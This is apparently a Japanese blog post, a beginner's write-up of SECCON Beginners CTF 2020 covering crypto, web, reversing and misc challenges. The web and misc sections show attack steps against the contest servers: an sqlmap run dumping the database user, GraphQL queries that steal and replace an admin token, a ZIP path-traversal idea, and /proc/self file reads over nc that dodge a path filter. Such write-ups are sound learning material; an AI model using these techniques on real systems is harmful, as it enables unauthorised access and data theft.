1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

SECCON Beginners CTF 2020 Write Up

Posted at

Qiita初投稿、技術ブログ自体初投稿です。
フォーラムで質問した程度しかないため、大変拙い文章になっております。
ご了承ください。

今回、2,3回目のSECCON BEGINNERS参戦でした。(1人チーム)
ようやく自力で3割近くの問題を解けるようになったので、これを機に自分でも振り返る用に解けた所だけですがwrite upを書いていきます。
私は668点で155位でした。
運営曰く、6/15までは問題サーバーは破壊しないらしいので、今週末にでも再度解きなおそうかと思います。

以下、結果のハードコピー。
SECCON_BEGINNERS_2020_SCORE.png

score.beginners.seccon.jp_teams_499.png

score.beginners.seccon.jp_challenges.png

ハードコピーって、WEPページ丸々1ページを一気にキャプチャできるんですね。この記事書くまで知らなかった。

Pwn

どの問題も時間内に解けなかったです・・・・後でゆっくり解きます。
Write Up書けるほど解けてないので、また後日加筆します。
なんとなくバッファオーバーフローさせるのは分かって動的解析はしてみたけど、動的解析の熟練度が低すぎる・・・・・

Crypto

R&B

problem.py
from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

これを何回か適用したものがencoded_flag。

BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==

先頭文字がBならrot13、Rならbase64でそれぞれデコード。
解答時は試行錯誤して上記の解法見つけてから、愚直にrot13した文字列をコピペしてbase64でデコードして、その結果の文字列をコピペして・・・・って事やってました。時間の無駄無駄無駄ぁ!!!
でも、よく考えたらpythonで.decodeあるじゃん。

solve.py
t = open("encoded_flag", "rb").read()
while True:
  t = t[1:].decode("rot13" if t[0]=="R" else "base64")
  print t

上記のコードをpython2で実行して、以下のフラグをゲット。

ctf4b{rot_base_rot_base_rot_base_base}

Noisy equations

時間内に解けませんでした。
毎回ランダムにanswerが生成される・・・・?
と解答時は悩んでましたが、これただの行列演算じゃん。
dot(A, B)の時点で気付けよ。

あとでゆっくり解きますが、おそらく$CF+R=A$みたいな形のベクトルから$F$を求めればいいのかな?

RSA Calc

こちらも時間内に解けませんでした。
タイトルとプログラム実行の画面見ると、1.sign・・・署名が必要?
後でじっくり解きます。

Encrypter

問題を解く取っ掛かりが分からなかった問題の1つ。
もうしばらく考えてダメなら、他のWrite Up見ちゃうか・・・・

C4B

時間中に手が付けられなかった・・・・
今後は、解けなくてもとりあえず問題文や、公開されてるソースコードをざっとでも見ておこう。
この問題なら、Solidityを調べれば、いくらかは解法が見えてきそうだし。

Web

Spy

解答中は一番解き方が分からなかったかもしれない。
なんでみんなすぐに解けてしまうんだ?
ログインしようにも、SQi全然できないし、そこから先全然進まず断念。
でも、よくよく問題文を見たら、対象のユーザーを列挙するだけでした。

・・・・そりゃ簡単だ。
解法は色々あるでしょうが、とりあえずBurpのIntruder使って、明らかに実行時間がかかっているアカウントを見付けました。
なお、この問題ではサーバー側が実行時間を教えてくれてました。親切。

ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

Tweetstore

数少ない解答できた問題。

webserver.go
 :
func initialize() {
	var err error

	dbname := "ctf"
	dbuser := os.Getenv("FLAG")
	dbpass := "password"

	connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
 :

上記のinitialize関数で、dbuser := os.Getenv("FLAG") としている。
つまり、サーバーの初期化時に、サーバーの環境変数にあるフラグの値を、
dbuserの値としており、コネクション情報としてその後も使用している。
というわけで、sqlmapでサーバーでのカレントユーザー情報を取得します。
sqlmap -u "https://tweetstore.quals.beginners.seccon.jp/?search=aaaa&limit=1" --current-userで取得。

current user: 'ctf4b{is_postgres_your_friend?}'

unzip

時間内に解けなかった。
ディレクトリトラバーサルを悪用するのは分かったけど、解答時はどこに仕込むか分からず悪戦苦闘。
適当なphpファイルを作って、それをバイナリエディタでマジックナンバー書き換えて拡張子を変えて、そのphpファイルの内容を実行させて・・・・ってOSコマンドインジェクションじゃないか・・・・

後からよく読んでみたら、ZIPアーカイブに含まれている各ファイル名が正しいかチェックしていた。
ZIPファイルそのものじゃなかった・・・・・
まだ解答を確認してないけど、適当にZIPファイル作って、ZIPに含まれているファイル名を../../flag.txtにしてアップロードすればいいかな?

profiler

ほとんど寝ぼけながらやってたら、いつの間にか解けてた。
理屈分からず(寝ぼけて覚えてないが正しい)解けたのに、一番ゲットした点数が高いってどうなの・・・・

通信を見ると、GraphQLのフォーマットでした。
次に、ほとんど眠気で首をカックンカックン揺らしながらグーグル先生に質問すると、以下の脆弱性を見付けました。この時点で仮眠取った方が良かったのかなぁ・・・?

このページに書かれている通りにすると結果が返ってきて、どのようなクエリが使えるのかが分かる。

query { someone(uid: "admin") {
      uid
      name
      profile
      token
    }
  }

でadminのtokenが得られる。自分のトークンをadminのトークンに変更。

mutation {
      updateToken(token: "自分のトークン")
}

でトークンを書き換える。

ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}

Somen

時間内に解けませんでした。
とりあえずXSSだという事は分かった。ZAP使って走査まではしたけど、有効な回避手段が時間内に分からず断念。
あとで解きなおします。

Reversing

mask

Reversingで唯一解答できました。
Reversing周りが弱いのが今後の課題かなぁ・・・・・

愚直に、ltraceで動作を見ながら、引数を調整しました。
時間の無駄無駄無駄無駄無駄ぁ!!!!
a~Zまでを引数にして実行→フラグに対して0x75&を取る箇所→0xeb&を取る箇所
の段階で引数を調整。むっちゃ時間かかった。
でも、他のWrite Upを読んでみると、かなり簡単に解いておられますね・・・・
正解となるフラグに対して、0x75&を取った値と、0xeb&を取った値が分かるから、(0x75|0xeb)==0xffなので両者の値の|を取れば良い。
そりゃそうだ・・・・・・

ctf4b{dont_reverse_face_mask}

yakisoba

(Hint: You'd better automate your analysis)

angr使えば簡単に解ける?

ghost

後で解きなおします。
ちょっと取っ掛かりが掴めない。

siblangs

Androidアプリ。
完全に後回しにしてた。ほとんど解いてない・・・・
とりあえずフラグの前半部分は、assets/index.android.bundleで処理しているっぽい所まではみつけた。unzipして、文字列検索かけただけだけど。
処理は単なるxorで鍵は"AKeyFor"+h.Platform.OS+"10.3"。じゃあプラットフォームはiosに変更。

solve.py
 :
xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]
key = "AKeyForios10.3"
print("".join(chr(ord(key[i%len(key)])^xored[i]) for i in range(len(xored))))

後半は全く手付かず。

sneaky

コンソールのヘビゲーム。
ちょっとだけ動かしてみたけど、意外と動き早いなこの蛇。
そんなに壁に急いで激突しなくても良くない?
gdbか何かで動的解析して、スコアを書き換えれば良さそう。
でも時間内に解けませんでした・・・・

Misc

2/3も解けたのは行幸。
単純に出題数が他に比べて少ない&Welcomeが混じってるからだけど。

Welcom

フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。

ctf4b-botじゃなくて、 #announcement にフラグが書かれているという罠。

xrekkusu今日 14:01
競技開始しました!Welcome問題のフラグはこちらになります: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

emoemoencode

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

なぁにこれぇ?
と思って、この文字コードを調べてみたら、下位1バイト、および一部の下位2バイト以外が一致している。
🍣🍴🍦🌴🍢🍻🍟🍽をそれぞれctf4{_}とおけば、下位2バイト8D A1~8D BAa~z8C B0~8C B90~9に対応する。
よって、
ctf4b{stegan0graphy_by_em000000ji}

readme

知識不足が露呈。
時間内に解けなかったですが、実在するファイル名で、../を頭に含まず、ctfを含めないという条件で頭の中がオーバーヒート。

server.py
# !/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

結論として、/proc/self/environを開いて、カレントディレクトリを確認し、そこから相対パスを見付ける。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
... PYTHON_VERSION=3.7.7 PWD=/home/ctf/serve PYT...

カレントディレクトリは /home/ctf/serve。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?